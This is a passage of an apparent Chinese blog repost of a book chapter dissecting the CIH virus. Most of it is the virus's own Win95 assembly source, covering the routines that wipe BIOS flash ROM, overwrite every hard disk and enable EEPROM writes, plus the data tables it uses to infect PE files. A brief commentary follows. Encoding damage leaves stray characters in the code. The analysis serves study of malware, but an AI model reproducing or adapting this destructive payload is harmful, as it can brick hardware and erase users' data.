病毒程序源码实例剖析-CIH病毒[5]
loop $
;破壞BIOS中額外的000E0000 - 000E007F段的 ROM數(shù)據(jù) ,共80h個(gè)字節(jié)
xor ah, ah
mov [eax], al
xchg ecx, eax
loop $
; 顯示和激活BIOS的000E0000 - 000FFFFF段數(shù)據(jù),共128 KB,該段可寫(xiě)入信息mov eax, 0f5555h
popecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h
loop $
; 破壞BIOS的000FE000 - 000FE07F段數(shù)據(jù),共80h字節(jié)
mov ah, 0e0h
mov [eax], al
; 隱藏BIOS的000F0000 - 000FFFFF段,共64 KB
mov word ptr (BooleanCalculateCode-@10)[esi], 100ch
call esi
; 破壞所有硬盤(pán)
KillHardDisk:
xor ebx, ebx
mov bh, FirstKillHardDiskNumber
push ebx
sub esp, 2ch
push 0c0001000h
mov bh, 08h
push ebx
push ecx
push ecx
push ecx
push 40000501h
inc ecx
push ecx
push ecx
mov esi, esp
sub esp, 0ach
;循環(huán)進(jìn)行破壞
LoopOfKillHardDisk:
int 20h
dd 00100004h?
cmp word ptr [esi+06h], 0017h
je KillNextDataSection
;換下一個(gè)硬盤(pán)
ChangeNextHardDisk:
inc byte ptr [esi+4dh]
jmp LoopOfKillHardDisk
;破壞下一個(gè)區(qū)域
KillNextDataSection:
add dword ptr [esi+10h], ebx
mov byte ptr [esi+4dh], FirstKillHardDiskNumber
jmp LoopOfKillHardDisk
;使EEPROM能夠?qū)懭胄畔?br /> EnableEEPROMToWrite:
mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], al
ret?
IOForEEPROM:
@10 = IOForEEPROM
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
in al, dx
BooleanCalculateCode = $
or al, 44h
xchg eax, edi
xchg edx, ebp
out dx, eax
xchg eax, edi
xchg edx, ebp
out dx, al
ret
;靜態(tài)數(shù)據(jù)定義
LastVxdCallAddress = IFSMgr_Ring0_FileIO?? ;最后一個(gè)調(diào)用的Vxd指令地址
VxdCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPath??? ;各個(gè)Vxd調(diào)用指令地址之差
VxdCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h?? ;Vxd的調(diào)用號(hào)
VxdCallTableSize = ($-VxdCallIDTable)/04h??? ;程序 中使用Vxd調(diào)用的個(gè)數(shù)
;病毒版本和版權(quán)信息定義
VirusVersionCopyright db 'CIH v'??? ;CIH病毒的標(biāo)識(shí)
db MajorVirusVersion+'0'??? ;主版本號(hào)
db '.'
db MinorVirusVersion+'0'??? ;次版本號(hào)
db ' TATUNG'??? ;作者名字
; 病毒 大小
VirusSize = $? + SizeOfVirusCodeSectionTableEndMark(04h)
? + NumberOfSections*SizeOfVirusCodeSectionTable(08h)
+ SizeOfTheFirstVirusCodeSectionTable(04h)
;動(dòng)態(tài)數(shù)據(jù)定義
VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress?? ;病毒數(shù)據(jù)起始地址
OnBusy db 0?? ;“忙”標(biāo)志
FileModificationTime dd ??? ;文件修改時(shí)間
FileNameBuffer db FileNameBufferSize dup(?)????? ;7fh長(zhǎng)的文件名緩沖區(qū)
@7 = FileNameBuffer
DataBuffer = $
@8 = DataBuffer
NumberOfSections dw ???? ; 塊數(shù)目
TimeDateStamp dd ??????? ; 文件時(shí)間
SymbolsPointer dd ?
NumberOfSymbols dd ????? ; 符號(hào)表中符號(hào)個(gè)數(shù)
SizeOfOptionalHeader dw ?? ;可選文件頭的長(zhǎng)度
_Characteristics dw ???????? ;字符集標(biāo)志
Magic dw ???????????????? ;標(biāo)志字(總是010bh)
LinkerVersion dw ?????????? ;連接器版本號(hào)
SizeOfCode dd ???????????? ;代碼 段大小
SizeOfInitializedData dd ????? ;已初始化數(shù)據(jù)塊大小
SizeOfUninitializedData dd ?? ;未初始化數(shù)據(jù)塊大小
AddressOfEntryPoint dd ????? ;程序起始RVA
BaseOfCode dd ???????????? ;代碼段起始RVA
BaseOfData dd ???????????? ;數(shù)據(jù)段起始RVA
ImageBase dd ????????????? ;裝入基址RVA
@9 = $
SectionAlignment dd ??? ;塊對(duì)齊
FileAlignment dd ????? ;文件塊對(duì)齊
OperatingSystemVersion dd ??? ;所需 操作系統(tǒng)版本號(hào)
ImageVersion dd ???????????? ;用戶自定義版本號(hào)
SubsystemVersion dd ??????? ;所需子系統(tǒng)版本號(hào)
Reserved dd ????????????? ; 保留
SizeOfImage dd ???????? ; 文件各部分總長(zhǎng)
SizeOfHeaders dd ??????? ;文件頭大小
SizeOfImageHeaderToRead = $-NumberOfSections?
NewAddressOfEntryPoint = DataBuffer
SizeOfImageHeaderToWrite = 04h?
StartOfSectionTable = @9
SectionName = StartOfSectionTable???? ;塊名
VirtualSize = StartOfSectionTable+08h?? ;段真實(shí)長(zhǎng)度
VirtualAddress = StartOfSectionTable+0ch? ;塊的RVA
SizeOfRawData = StartOfSectionTable+10h??? ; 塊物理長(zhǎng)度
PointerToRawData = StartOfSectionTable+14h?? ; 塊物理偏移
PointerToRelocations = StartOfSectionTable+18h?? ; 重定位的偏移
PointerToLineNumbers = StartOfSectionTable+1ch??? ; 行號(hào)表的偏移
NumberOfRelocations = StartOfSectionTable+20h???? ; 重定位項(xiàng)數(shù)目
NumberOfLinenNmbers = StartOfSectionTable+22h??? ; 行號(hào)表的數(shù)目
Characteristics = StartOfSectionTable+24h?? ; 塊屬性
SizeOfScetionTable = Characteristics+04h-SectionName??? ; 每塊表項(xiàng)的長(zhǎng)度
;病毒所需要的內(nèi)存數(shù)量
VirusNeedBaseMemory = $
VirusNeedBaseMemory = $
VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h)???
;病毒程序結(jié)束
VirusGame ENDS
END FileHeader
從以上代碼分析過(guò)程中,我們可以看出,CIH病毒結(jié)構(gòu)清晰,層次分明。該病毒程序的主干結(jié)構(gòu)與DOS病毒極其相似,只不過(guò)對(duì)病毒細(xì)節(jié)的處理都是按win95方法,全部系統(tǒng)調(diào)用都是采用Vxd。這樣做使病毒程序更加底層、效率更高,也便于編程,與用Windows下的API函數(shù)相比,無(wú)須考慮病毒自身的復(fù)雜重定位過(guò)程;與使用中斷相比,又更能防止對(duì)程序的跟蹤分析。
CIH病毒有兩個(gè)創(chuàng)新,一是病毒感染時(shí)查找感染對(duì)象文件的各塊之間的空白區(qū)域,把病毒自己的各種數(shù)據(jù)結(jié)構(gòu)和代碼寫(xiě)到其中(如果空白區(qū)域不夠就不傳染,這就是為什么有些文件不會(huì)被感染的原因之一);二是病毒發(fā)作時(shí)能破壞計(jì)算機(jī)硬件,不但要燒毀Flash Memory,還要?dú)挠脖P(pán)。
出于安全的緣故,有關(guān)病毒發(fā)作、破壞硬件的這部分代碼,我們沒(méi)有給出詳細(xì)的分析。
此文章節(jié)選自《計(jì)算機(jī)病毒與木馬程序剖析》http://shop.csai.cn/itbook/itbookinfo.asp?lbbh=BD05647383
總結(jié)
以上是生活随笔為你收集整理的病毒程序源码实例剖析-CIH病毒[5]的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 梦幻诛仙linux系统启动命令,求一波梦
- 下一篇: Webtop Html5 桌面App开发